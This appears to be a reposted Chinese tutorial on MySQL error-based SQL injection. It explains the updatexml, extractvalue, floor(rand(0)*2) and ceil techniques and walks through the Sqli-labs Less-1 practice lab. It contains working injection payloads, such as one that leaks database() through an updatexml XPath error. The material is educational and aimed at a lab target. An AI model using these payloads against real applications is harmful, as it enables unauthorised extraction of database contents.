当前位置: 首页 > article >正文

SQL Injection | SQL 注入 —— 报错盲注

关注这个漏洞的其他相关笔记:SQL 注入漏洞 - 学习手册-CSDN博客

0x01:报错盲注 —— 理论篇

报错盲注(Error-Based Blind SQL Injection)是一种常见的 SQL 注入技术,适用于那些页面不会直接显示后端处理结果的查询方式,比如 deleteinsertupdate

报错盲注的攻击原理:攻击者通过向 SQL 查询中注入特定的函数,迫使数据库在执行查询时产生错误,并利用这些错误信息将攻击者所需要的信息回显回来。

0x0101:MySQL 报错盲注 — 相关函数

1. updatexml() — xpath 报错注入

1.1 updatexml() 函数简介

MySQL 中的 updatexml() 函数用于更新 XML 文档的指定部分并返回修改后的文档。在需要更改存储在数据库中的 XML 数据的情况下,它特别有用:

 -- updatexml() 语法
 UPDATEXML(xml_target, xpath_expr, new_xml)
 ​
 -- updatexml() 参数解析
 xml_target : 将要被修改的 XML 文档
 xpath_expr : 指定要更新的 XML 文档部分的 XPath 表达式
 new_xml    : 将替换 xpath_expr 指定的现有内容的新 XML 内容

以下是该函数的一个正确的使用示例:

 -- 将原 XML 文档中的 <name>John</name> 替换为 <name>Blue17</name>
 select updatexml('<root><name>John</name></root>', '/root/name', '<name>Blue17</name>');

1.2 updatexml() 报错原理

使用 updatexml() 函数时,如果 xpath_expr 格式出现错误,则 MySQL 将会爆出 xpath 语法错误(xpath syntax),比如下面这个例子:

 select updatexml('<root><name>John</name></root>', '<whoami>', '<name>Blue17</name>');

1.3 updatexml() 报错实例

以下是一个使用 updatexml() 函数进行报错注入的攻击实例:

 select * from users where id=1 and updatexml(1,concat(0x7e,user(),0x7e),1);

2. extractvalue() — xpath 报错注入

2.1 extractvalue() 函数简介

MySQL 中的 extractvalue() 函数用于从目标 XML 文档中提取和查询指定部分的文档:

 -- extractvalue() 语法
 EXTRACTVALUE(xml_document, xpath_expr)
 ​
 -- extractvalue() 参数解析
 xml_document : 包含 XML 文档的字符串或者一个列名
 xpath_expr   : 指定要提取的节点的 xpath 表达式

以下是该函数的一个正确的使用示例:

 -- 查询 XML 文档中的 /root/name 节点中的值
 SELECT EXTRACTVALUE('<root><name>Blue17</name></root>', '/root/name');

2.2 extractvalue() 报错原理

使用 extractvalue() 函数时,如果 xpath_expr 格式出现错误,则 MySQL 将会爆出 xpath 语法错误(xpath syntax),比如下面这个例子:

 SELECT EXTRACTVALUE('<root><name>Blue17</name></root>', '~whoami~');

2.3 extractvalue() 报错实例

以下是一个使用 extractvalue() 函数进行报错注入的攻击示例:

 insert into users values(4, 'Blue17', extractvalue(1,concat(0x7e,user(),0x7e)), 4);

3. floor() - 虚表主键重复报错

3.1 floor() 函数简介

MySQL 中的 floor() 函数用户返回小于或等于指定数值的最大整数:

-- floor() 语法
FLOOR(number)

-- floor() 参数解析
number : 需要向下取整的数值表达式。可以是列名、数值、算数表达式或函数返回值。

以下是该函数的一个正确的使用示例:

select floor(4.7);

3.2 floor() 报错原理

floor() 报错注入的原理是 group by 在向临时表中插入数据时,由于 rand() 多次计算导致插入临时表时主键重复,从而报错。又因为报错前 concat() 中的 SQL 语句或者函数被执行,所以该语句报错时抛出的主键是 SQL 语句或函数执行后的结果。

关联函数

  • rand() / rand(N):产生 0~1 (包含 0 和 1)之间的随机数。若指定一个整数参数 N,则它被作用为种子值,用来产生重复序列。

  • count(*):返回表的记录数(行数)

  • concat():将多个字符串连接成一个字符串

  • group_by:根据 by 对数据按照指定字段进行分组(去重),会建立一张临时表。

  • ceil():向上取整

3.2.1 floor() 报错需要满足的条件
  • floor() 报错注入在 MySQL 版本 8.0 已失效,据说在 7.3.4nts 中也已经失效了。

  • floor() 报错注入中查询用到的数据表内的数据必须 >=3 条。

  • 以下函数未被 WAF 过滤:count(*)、floor() 或 ceil()、rand()、group by

3.2.2 floor() 报错原理 - 前置知识

在介绍 floor() 报错原理之前,我们先来了解一下 MySQL 中的 count() 函数与 group by 结合使用时的工作流程。

首先,将下面的语句复制到数据库中,我们先搭建一个用于测试测环境:

-- 创建 users 数据表
CREATE TABLE users ( 
    id INT AUTO_INCREMENT PRIMARY KEY, 
    uname VARCHAR(50) NOT NULL, 
    pwd VARCHAR(255) NOT NULL
);

-- 插入测试数据
insert into users values(1, 'admin', 1);
insert into users values(2, 'admin1', 2);
insert into users values(3, 'admin2', 3);
insert into users values(4, 'admin', 4);

接下来,输入下面的语句,来看一下 count(*)group by 联合使用的结果:

mysql> select uname,count(*) from users group by uname;
+--------+----------+
| uname  | count(*) |
+--------+----------+
| admin  |        2 |
| admin1 |        1 |
| admin2 |        1 |
+--------+----------+
3 rows in set (0.00 sec)

让我们来分析一下,产生此结果的流程(这对后续理解 floor() 报错注入很重要)。

count(*)group by 碰到一起时,MySQL 会建立一个虚拟表,那时的工作流程如下:

首先 MySQL 会建立一个空的虚拟表,key 为主建,不可重复(这里的 key 你可以理解为 分组字段,比如 group by uname,key 就是分组字段,也就是 uname),此时的虚表长这样:

keycount(*)

接下来,MySQL 会根据分组字段到虚表的 key 中查询,如果 key 中没有相同的数据,就将该数据添加进虚拟表中,并设置 count 为 1。比如,此时分组字段是 unameusers 数据表中第一个 uname 值为 admin,虚表中的 key 中不存在 admin,所以就将此值直接添加进虚拟表中,并设置 count 为 1,此时的虚拟表长这样:

keycount(*)
admin1

然后 MySQL 会继续查看 users 数据表的下一个 uname 值,如果该值在虚拟表的 key 中没有,则继续将该值添加进虚拟表中,并设置其 count(*) 值为 1:

keycount(*)
admin1
admin11

以此类推,直到碰到下一个 uname 的值为 admin 前,虚拟表中的数据如下:

keycount(*)
admin1
admin11
admin21

如果在虚拟表的 key 中遇到相同的数据,则 MySQL 不会对数据进行插入,而是会对 count(*) 进行加 1 的操作。比如,此时在 users 数据表中又遇到了 uname 值为 admin,该值在虚表中是存在的,所以此时的虚表就变成了如下格式:

keycount(*)
admin1 + 1
admin11
admin21

流程还是很简单的,下面我们开始真正进入 floor() 报错注入的原理。在此之前,请记住虚表的一个特性:主键不能重复!

3.2.3 group by floor(rand(0) * 2) 报错原理

该语句报错的主要原因如下:

  1. group by 产生的虚表中,主键不能重复。

  2. rand(0) 函数执行的比 group by 插入虚拟表的速度要快。

  3. floor(rand(0) * 2) 结果是存在规律的,规律为:0110110011....,主要是前五个。

MySQL 官方提示:查询的时候使用 rand(),该值会被计算多次!

这里的计算多次,在 floor() 报错中的理解如下:

在使用 group by 时,floor(rand(0) * 2) 会被执行一次,如果虚表中不存在记录,插入虚表时会再执行一次。

为了便于理解,我们先举一个特殊的例子:

-- 01. 随便选择一个数据库,创建一个空表 test
create table test(
    id int primary key,
    uname varchar(20)
);

-- 02. 插入两条数据,注意,只要插入两条
insert into test values(0, 'admin');
insert into test values(1, 'admin1');

-- 03. 查看 test 表中的数据
mysql> select floor(rand(0) * 2),uname,concat(floor(rand(0) * 2), "Look Me") from test;
+--------------------+--------+---------------------------------------+
| floor(rand(0) * 2) | uname  | concat(floor(rand(0) * 2), "Look Me") |
+--------------------+--------+---------------------------------------+
|                  0 | admin  | 0Look Me                              |
|                  1 | admin1 | 1Look Me                              |
+--------------------+--------+---------------------------------------+
2 rows in set (0.00 sec)

-- 04. 反直觉的:rand() + group by
mysql> select concat(floor(rand(0) * 2), "Look Me"),count(*) from test group by concat(floor(rand(0) * 2), "Look Me");
+---------------------------------------+----------+
| concat(floor(rand(0) * 2), "Look Me") | count(*) |
+---------------------------------------+----------+
| 1Look Me                              |        2 |
+---------------------------------------+----------+
1 row in set (0.00 sec)

上面 04 实例所展示的结果,是不是与我们的直觉相反,从 03 来看 concat(floor(rand(0) * 2), "Look Me") 查询出来的结果依次是:0Look Me1Look Me,所以按照道理,在计数时,最终展示的表格内容应该如下:

xcount(*)
0Look Me1
1Look Me1

但事实却是,1Look Me 被计数了两次。接下来,我们来理理为什么会出现这种结果。

先来看看下面这条语句的执行结果:

mysql> select concat(floor(rand(0) * 2), "Look Me") from test;
+---------------------------------------+
| concat(floor(rand(0) * 2), "Look Me") |
+---------------------------------------+
| 0Look Me                              |
| 1Look Me                              |
+---------------------------------------+
2 rows in set (0.00 sec)

当我们为其增加 count(*)group by 后 MySQL 的运算过程如下:

首先,MySQL 会建立一张虚表,concat(floor(rand(0) * 2), "Look Me") 是主键,里面的值不可重复(我们将 concat(floor(rand(0) * 2), "Look Me") 简记为 Key,方便讲解):

concat(floor(rand(0) * 2), "Look Me")count(*)

floor(rand(0) * 2) 结果序列:0110110011....

接下来,MySQL 会读取第一行 Key 的内容和虚表中的 Key 值进行比对,此时,MySQL 进行了第一次计算 concat(floor(rand(0) * 2), "Look Me"),得到结果为 0LookMe。MySQL 发现此值并不在虚表中存在,所以决定将此值插入到虚表中,并设置 count 值为 1。但是,就在 MySQL 准备将计算结果插入虚表时,由于 MySQL 的 Bug,导致 concat(floor(rand(0) * 2), "Look Me") 在插入之前又被计算了一次(第二次计算),导致 MySQL 实际插入的值为 1LookMe,此时虚表中实际的内容为:

concat(floor(rand(0) * 2), "Look Me")count(*)
1Look Me1

接着,MySQL 读取第二行 Key 的内容和虚表中的 Key 值进行比对,此时,MySQL 第三次计算了 concat(floor(rand(0) * 2), "Look Me"),得到结果为 1LookMe,该值在虚表中存在,所以 MySQL 就会直接执行插入操作(因为值在虚表中存在,所以不会触发 rand() 多次计算的 BUG),所以此时虚表展示的最终结果为:

concat(floor(rand(0) * 2), "Look Me")count(*)
1Look Me1+1

这就是为什么最终我们看到的,和实际我们想象的不一样的原因。

接下来,我们往测试表中再次插入一条数据,触发 floor() 报错:

insert into test values(2,'admin2');

mysql> select concat(floor(rand(0) * 2), "Look Me") from test;
+--------+---------------------------------------+
| uname  | concat(floor(rand(0) * 2), "Look Me") |
+--------+---------------------------------------+
| admin  | 0Look Me                              |
| admin1 | 1Look Me                              |
| admin2 | 1Look Me                              |
+--------+---------------------------------------+
3 rows in set (0.00 sec)

继续之前的分析,MySQL 读取第三行数据,第四次计算 concat(floor(rand(0) * 2), "Look Me") 的值为 0Look Me,MySQL 发现虚表中没有该值对应的 Key,所以,准备执行插入操作。但是就在执行插入操作之前,由于 MySQL 的 Bug,其第五次计算了 concat(floor(rand(0) * 2), "Look Me"),导致实际插入的结果为 1Look Me,此时的虚表变成了:

xconcat(floor(rand(0) * 2), "Look Me")count(*)
1Look Me2
1Look Me?

可以看到,MySQL 认为自己插入的是 0Look Me,但是由于 Bug,导致实际插入的是 1Look Me,而 1Look Me 在虚表中是存在的,由于虚表的 Key 唯一的特性,所以 MySQL 此时就会产生报错:

select concat(floor(rand(0) * 2), "Look Me"),count(*) from test group by concat(floor(rand(0) * 2), "Look Me");

3.3 floor() 报错实例

以下是一个使用 floor() 函数进行报错注入的攻击示例:

select concat(0x7e,user(),0x7e,floor(rand(0)*2))x,count(*) from test group by x;

4. ceil() - 虚表主键重复报错

4.1 ceil() 函数简介

MySQL 中的 ceil() 函数用于返回大于或等于指定数值的最小整数:

-- ceil() 语法
CEIL(number)

-- ceil() 参数解析
number : 需要向上取整的数值表达式。可以是列名、数值、算数表达式或函数返回值。

以下是该函数的一个正确的使用示例:

select ceil(4.1);

4.2 ceil() 报错原理

ceil() 报错注入的原理与上面讲解的 floor() 报错原理 一致,所以这里就不多说了。

4.3 ceil() 报错实例

以下是一个使用 ceil() 函数进行报错注入的攻击实例:

select concat(0x7e,user(),0x7e,ceil(rand(0)*2))x,count(*) from test group by x;

0x02:报错盲注 —— 实战篇

本节重点在于熟悉报错盲注的注入流程,以及注入原理。练习靶场为 Sqli-labs Less-1 GET - Error based - Single Quotes - String,靶场的配套资源如下(附安装教程):

实验工具准备

  • PHP 运行环境:phpstudy_x64_8.1.1.3.zip(PHP 7.X + Apache + MySQL)

  • SQLI LABS 靶场:sqli-labs-php7.zip(安装教程:Sqli-labs Less-1 GET - Error based - Single Quotes - String)

0x0201:第一阶段 — 判断注入点

靶场提示 Please input the ID as parameter with numeric value 要我们输入一个数字型的 ID 作为参数进行查询,那我们就按它的意思传入 id 看看网页返回的结果:

可以看到,服务器返回了对应 id 用户的登录名与登录密码。此时,我们可以再输入几个数据进行测试:

测试 Payload 01: ?id=1  # 结果: Your Login name:Dumb      Your Password:Dumb
测试 Payload 02: ?id=2  # 结果: Your Login name:Angelina  Your Password:I-kill-you
测试 Payload 03: ?id=2-1 # 结果: Your Login name:Angelina  Your Password:I-kill-you
测试 Payload 04: ?id=1' # 结果: 报错

可以看到,当我们传递 Payload 04 给服务器后端时,页面显示了报错信息,并且还返回了部分后端的查询模板。

0x0202:第二阶段 — 报错盲注漏洞利用

既然能显示报错信息,那么本关我们就可以直接使用报错注入(使用 Union 联合注入也是可以的,但是,从本关的名称 Error based 就可以看出,本关的考点是报错注入),攻击 Payload 如下:

-- 获取当前服务器正在使用的数据库的名称
攻击 Payload: ?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+'
笔者备注: 0x7e 是字符 ~ 号,用于标识服务器报出来的数据。

可以看到,我们已经成功获取了当前站点使用的后端数据库的信息。以上,就是报错盲注的基本利用方式。后面想查啥,直接往报错注入的回显点里写就可以了,笔者在这里就不多说了。


http://www.kler.cn/news/358408.html

相关文章:

  • STM32F4读写SD卡:填一填ST官方HAL库的坑
  • 搭建Golang gRPC环境:protoc、protoc-gen-go 和 protoc-gen-go-grpc 工具安装教程
  • K-means 聚类算法:目标函数推导、迭代过程及可视化解析
  • Python进阶3
  • Vxe UI vue vxe-table grid 性能优化,提高渲染性能
  • 第五届人工智能与教育国际学术会议(ICAIE 2024)
  • 前端html js css 基础巩固3
  • Android 内存优化——常见内存泄露及优化方案
  • 大规模语言模型与生成模型:技术原理、架构与应用
  • TCP/IP协议 【三次握手】过程简要描述
  • jmeter用csv data set config做参数化1
  • 【前端】如何制作一个自己的网站(11)
  • 了解Android中为什么需要多线程?
  • steam游戏模拟人生3缺少net framework 3.5安装不成功错误弹窗0x80070422怎么修复
  • 秒懂MVC, MVP, MVVM框架
  • java集合进阶篇-《泛型通配符及其练习》
  • 紫光档案管理系统文件上传漏洞
  • 【 Git 】git push 出现报错 fatal: Could not read from remote repository.
  • Centos7升级到openssh9.9
  • 使用Python和Proxy302代理IP高效采集Bing图片